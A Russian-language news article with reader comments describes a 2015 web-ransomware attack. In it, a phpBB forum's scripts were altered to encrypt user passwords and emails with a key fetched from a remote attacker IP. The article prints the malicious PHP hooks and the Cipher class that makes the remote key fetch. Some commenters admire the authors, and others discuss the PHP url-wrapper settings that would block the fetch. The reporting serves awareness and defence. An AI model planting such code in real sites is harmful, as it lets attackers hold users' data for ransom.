Всё больше персональных компьютеров становятся жертвами троянов-вымогателей, которые шифруют документы и требуют выкуп в биткоинах за их расшифровку. Теперь на ту же наживку начали ловить владельцев веб-сайтов. О новых приёмах преступников сообщила компания High-Tech Bridge.

Специалисты впервые столкнулись с новым видом атаки в декабре 2014 года, когда за помощью обратилась одна из финансовых компаний: их веб-сайт вышел из строя и выдавал ошибку БД.

Тщательное расследование выявило поразительную вещь. Оказывается, троян установили на сервере ещё шесть месяцев (!) назад. Несколько серверных скриптов модифицировали таким образом, чтобы шифровать информацию перед занесением в БД и расшифровывать её «на лету» при получении запроса к базе. Ключ шифрования хранился на удалённом сервере.

Работа зловреда долго оставалась незамеченной для пользователей веб-приложения, пока в день «Д» злоумышленники не пошли в атаку и не удалили ключ шифрования.

Сотрудники High-Tech Bridge посчитали это уникальным случаем таргетированной атаки, но не тут-то было. Вскоре с аналогичным вымогательством столкнулся ещё один клиент, у которого враги зашифровали… базу с учётными данными пользователей форума phpBB.

Здесь использовался такой же сценарий. Функцию “sql_fetchrow()” в файле factory.php модифицировали, чтобы она выдавала расшифрованные значения полей с именами пользователей и адресами электронной почты.

if(isset($result['user_password'])){ 
 $result['user_password'] = $cipher->decrypt($result['user_password']); 
} 
if(isset($result['user_email'])){ 
 $result['user_email'] = $cipher->decrypt($result['user_email']); 
}

Шифрование этих полей добавили в другие скрипты.

$sql_ary = array( 
 'username'=>$user_row['username'], 
 'username_clean' => $username_clean, 
 'user_password' => (isset($user_row['user_password']))? 
    $cipher->encrypt($user_row['user_password']):$cipher->encrypt(''), 
 'user_email'=> $cipher->encrypt(strtolower($user_row['user_email'])), 
 'user_email_hash'=> phpbb_email_hash($user_row['user_email']), 
 'group_id' => $user_row['group_id'], 
 'user_type' => $user_row['user_type'], 
);

Адрес ключа шифрования прописан в конфигурационном файле.

class Cipher { 
 private $securekey, $iv; 
 function __construct($textkey) { 
  $this->securekey = hash('sha256',$textkey,TRUE); 
  $this->iv = mcrypt_create_iv(32); 
 } 
 function encrypt($input) { 
  return base64_encode(mcrypt_encrypt(MCRYPT_RIJNDAEL_256, 
       $this->securekey, $input, MCRYPT_MODE_ECB, $this->iv)); 
 } 
 function decrypt($input) { 
  return trim(mcrypt_decrypt(MCRYPT_RIJNDAEL_256, 
       $this->securekey, base64_decode($input), MCRYPT_MODE_ECB, $this->iv)); 
 } 
} 
$key=file_get_contents('https://103.13.120.108/sfdoif89d7sf8d979dfgf/ 
sdfds90f8d9s0f8d0f89.txt'); 
$cipher=new Cipher($key); 

Злоумышленник терпел два месяца, прежде чем удалить ключ с удалённого сервера и потребовать выкуп $1000.

На сегодняшний день ни один антивирус не определяет инсталляторы этого зловреда: файл1, файл2.

18 комментариев

  1. 29.01.2015 at 00:26

    Вот это тема!
    НУ что поздравляю разрабов вируса. Хороший код написал.!

  2. 29.01.2015 at 07:50

    Любой код можно изменить так, что не один антивирус его не будет детектить, при это полезная нагрузка не изменится. Не с чем поздравлять то!!!!

    • 29.01.2015 at 13:18

      Ключевое: что до такого додумались! 🙂 И мало того — реализовали!!
      Все равно молодцы. Котелок варит 🙂

  3. 29.01.2015 at 08:18

    В такой статье было бы полезно указать, каким именно образом зловред попадает на сервер, а то не понятно, паниковать или нет?

    • 29.01.2015 at 12:18

      Да не суть важно. Распространяться может разными методами.
      Тут важнее как противодействовать и детектировать. Понятно что не статическим анализом кода. Бекапы тоже не помогут, что печально =(

    • 29.01.2015 at 12:50

      Сами рассудите:
      1. Оказывается, троян установили на сервере ещё шесть месяцев (!) назад.
      2. Отсюда выходит, что в статье описывается не сам трой, а его модуль по крипту.
      3. А отсюда выходит, что если сам сайт защищен ( и нету чудо-админа который подкинется на фишинговые письма(как вариант)), то не стоит паниковать.

  4. 29.01.2015 at 16:24

    Вот это уже реально ужас. Если такое можно делать снаружи, через дырки в коде… Кошмар!!! Да почти все сайты/сервисы имеют уязвимости.

    • 29.01.2015 at 19:55

      «Интернет может служить причиной ухудшения здоровья. Особенно психического.»
      ЗдравМин.

  5. 01.02.2015 at 14:18

  6. 01.02.2015 at 15:40

    На сегодняшний день ни один антивирус не определяет инсталляторы этого зловреда…

    Ну да, откуда на СЕРВЕРЕ антивирус и зачем…

  7. 30.03.2015 at 22:47

    Что за бред! Это не троян. Просто в исходник прописали модуль шифрования который брал ключ с другого сервера. Через 6 месяцев когда юзеров и постов на форуме добавилось чел удалил ключ и потребовал выкуп. Получилось что данные в базе все зашифрованы. Все проще простого.

  8. 07.05.2015 at 22:36

    $key=file_get_contents(‘https://103.13.120.108/sfdoif89d7sf8d979dfgf/
    sdfds90f8d9s0f8d0f89.txt’);
    На сервере включена Url обертка для чтения удаленных файлов.
    Она включается в php.ini, который всегда находится вне web каталога.
    По умолчанию она выключена и читаются только локальные файлы.
    Если это включено для file_get_contents, include, то проблем может вызвать больше и не только таким способом можно действовать. Проблемы url wrappers для этих функций обсуждаются в сети. Это лишь один из вариантов рализации.
    Так что, не нужно бездумно менять настройки безопасности, выставленные по умолчанию.

    • 07.05.2015 at 23:07

      По умолчанию allow_ url_fopen включена, но некоторые хостеры отключают ее из соображений безопасности. У них такая история не прошла бы. Allow_url_include по умолчанию выключена и включать ее крайне не рекоммендуется.

  9. BOMBERuss

    15.10.2015 at 03:32

    Теперь и сайты шифруют… Ну началоооось…

Оставить мнение

Check Also

Хакеры угрожают обнулить сотни миллионов устройств Apple. Что известно на данный момент

Журналистам ZDNet удалось получить образец данных от хакерской группы, которая шантажирует…